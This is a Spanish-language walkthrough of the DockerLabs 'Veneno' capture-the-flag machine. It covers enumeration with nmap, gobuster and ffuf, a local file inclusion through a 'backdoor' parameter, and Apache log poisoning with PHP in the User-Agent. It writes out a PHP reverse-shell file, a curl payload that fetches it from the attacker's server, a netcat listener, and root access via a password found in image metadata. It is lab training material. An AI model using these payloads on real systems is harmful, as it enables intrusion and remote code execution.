Veneno DockerLabs (Intermediate)
Instalación
Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip veneno.zipNos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_deploy.sh veneno.tarInfo:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarlaPor lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>nmap -sCV -p<PORTS> <IP>Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-15 15:53 EST
Nmap scan report for cinema.dl (172.17.0.2)
Host is up (0.000034s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 89:9c:7b:99:95:b6:e8:03:5a:6a:d4:69:69:4a:8d:35 (ECDSA)
|_ 256 ec:ec:90:44:4e:66:64:22:f6:8b:cd:29:d2:b5:60:6a (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.69 secondsSi entramos en el puerto 80 veremos que es un apache2 normal, por lo que haremos un poco de fuzzing.
Gobuster
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 100 -kInfo:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.2/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd.html (Status: 403) [Size: 275]
/.htaccess.php (Status: 403) [Size: 275]
/.htpasswd (Status: 403) [Size: 275]
/.htpasswd.php (Status: 403) [Size: 275]
/.htaccess.txt (Status: 403) [Size: 275]
/.htaccess.html (Status: 403) [Size: 275]
/.htpasswd.txt (Status: 403) [Size: 275]
/.htaccess (Status: 403) [Size: 275]
/index.html (Status: 200) [Size: 10671]
/problems.php (Status: 200) [Size: 10671]
/server-status (Status: 403) [Size: 275]
/uploads (Status: 301) [Size: 310] [--> http://172.17.0.2/uploads/]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================Vemos un sitio interesante llamado /problems.php vamos a ver que hay dentro.
URL = http://<IP>/problems.phpVemos que es donde esta subido el apache2 normal, por lo que vamos a ver si tuviera algun parametro vulnerable.
FFUF
ffuf -u http://<IP>/problems.php?FUZZ=/etc/passwd -w <WORDLIST> -fs 10671Info:
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://172.17.0.2/problems.php?FUZZ=/etc/passwd
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 10671
________________________________________________
backdoor [Status: 200, Size: 1245, Words: 8, Lines: 26, Duration: 2ms]
:: Progress: [20469/20469] :: Job [1/1] :: 2531 req/sec :: Duration: [0:00:07] :: Errors: 0 ::Vemos que hay uno llamado backdoor por lo que haremos lo siguiente:
Escalate user www-data
URL = http://<IP>/problems.php?backdoor=/etc/passwdInfo:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:996:996:systemd Resolver:/:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
carlos:x:1001:1001:,,,:/home/carlos:/bin/bashVemos que hay un usuario llamado carlos, pero si probamos a tirar fuerza bruta no sacaremos nada, por lo que vamos a ver si es vulnerable a un LOG POISONING.
URL = http://<IP>/problems.php?backdoor=/var/log/apache2/error.logVemos que las ultimas entradas son algo asi:
172.17.0.1 - - [16/Jan/2025:07:01:37 +1000] "GET /problems.php?backdoor=../../../var/www/apache2/error.log HTTP/1.1" 200 203 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [16/Jan/2025:07:02:16 +1000] "GET /problems.php?backdoor=/var/log/apache2/error.log HTTP/1.1" 200 485069 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
172.17.0.1 - - [16/Jan/2025:07:02:33 +1000] "GET /problems.php?backdoor=/var/log/apache2/access.log HTTP/1.1" 200 487286 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"Por lo que vamos a probar a enviar un comando a ver si lo ejecuta:
curl -A "<?php system('id'); ?>" http://<IP>/problems.phpSi recargamos el error.log vemos que la ultima entrada es:
172.17.0.1 - - [16/Jan/2025:07:05:12 +1000] "GET /problems.php HTTP/1.1" 200 10863 "-" "uid=33(www-data) gid=33(www-data) groups=33(www-data)Por lo que se puede injectar comando, vamos hacernos una reverse shell aprovechando esto de la siguiente forma, nos vamos a descargar un archivo con una shell nuestra al directorio uploads/ que descubrimos anteriormente:
shell.php
<?php
$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>Una vez creado el archivo, tendremos que subirlo a la maquina y pasarlo a la carpeta uploads/:
python3 -m http.servercurl -A "<?php exec('curl http://<IP_ATTACKER>:8000/shell.php -o /var/www/html/uploads/shell.php'); ?>" http://<IP>/problems.phpSi recargamos el error.log vemos que en el servidor de python3 tendremos la siguiente salida:
172.17.0.2 - - [15/Jan/2025 16:14:54] "GET /shell.php HTTP/1.1" 200 -Y si nos vamos a la carpeta uploads/ veremos que esta el archivo shell.php por lo que nos pondremos a la escucha:
nc -lvnp <PORT>Y nos vamos a la siguiente direccion:
URL = http://<IP>/uploads/shell.phpSi nos vamos a donde tenemos la escucha, veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.186] from (UNKNOWN) [172.17.0.2] 59298
whoami
www-dataSanitización de shell (TTY)
script /dev/null -c bash# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>Escalate user carlos
Si listamos los archivos que hay en la siguiente direccion del sistema:
ls -la /var/www/html/Info:
total 40
drwxr-xr-x 1 root root 4096 Jun 29 2024 .
drwxr-xr-x 1 root root 4096 Jun 29 2024 ..
-rw-r--r-- 1 root root 163 Jun 29 2024 antiguo_y_fuerte.txt
-rw-r--r-- 1 root root 10671 Jun 29 2024 index.html
-rw-r--r-- 1 root root 157 Jun 29 2024 problems.php
drwxrwxrwx 1 root root 4096 Jan 16 07:14 uploadsVemos que hay uno interesante llamado antiguo_y_fuerte.txt que si lo leemos veremos lo siguiente:
Es imposible que me acuerde de la pass es inhackeable pero se que la tenpo en el mismo fichero desde fa 24 anys. trobala buscala
soy el unico user del sistema.Vamos a buscar si hubiera algo con esa palabra:
find / -name "inhackeable*" 2>/dev/nullInfo:
/usr/share/viejuno/inhackeable_pass.txtVemos que en la siguiente direccion hay un archivo que dice lo siguiente:
pinguinochocolateroPor lo que podremos suponer que es la contraseña de carlos:
su carlosMetemos como contraseña pinguinochocolatero y veremos que somos dicho usuario.
Escalate Privileges
Si vamos a la home de carlos vemos muchisimas carpetas, pero podremos filtrarlo por bytes de cuales tienen contenido y cuales no, para que nos muestre cuales no estan vacias:
du -sb * | awk '$1 != 4096 && $1 > 0 {print $2}'Info:
carpeta55Y vemos que esa carpeta no esta vacia, contiene lo siguiente:
-rw-r--r-- 1 root root 627985 Jun 29 2024 .toor.jpgPor lo que vemos es una imagen, por lo que vamos a pasarnosla a nuestro host para extraer metadatos a ver que vemos.
python3 -m http.serverY desde el host haremos...
wget http://<IP>:8000/.toor.jpgInfo:
--2025-01-15 16:30:22-- http://172.17.0.2:8000/.toor.jpg
Connecting to 172.17.0.2:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 627985 (613K) [image/jpeg]
Saving to: ‘.toor.jpg’
.toor.jpg 100%[============================================================================>] 613.27K --.-KB/s in 0.001s
2025-01-15 16:30:22 (986 MB/s) - ‘.toor.jpg’ saved [627985/627985]Ahora vamos a extraer los metadatos:
exiftool .toor.jpgInfo:
ExifTool Version Number : 13.00
File Name : .toor.jpg
Directory : .
File Size : 628 kB
File Modification Date/Time : 2024:06:28 20:19:05-04:00
File Access Date/Time : 2025:01:15 16:30:22-05:00
File Inode Change Date/Time : 2025:01:15 16:30:22-05:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Image Quality : pingui1730
Image Width : 2048
Image Height : 2048
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 2048x2048
Megapixels : 4.2Vemos que en la parte de Image Quality vemos una palabra bastante interesante llamada pingui1730 por lo que podremos deducir que puede ser la contraseña de root.
su rootMetemos como contraseña pingui1730 y veremos que somos root, por lo que habremos terminado la maquina.
Last updated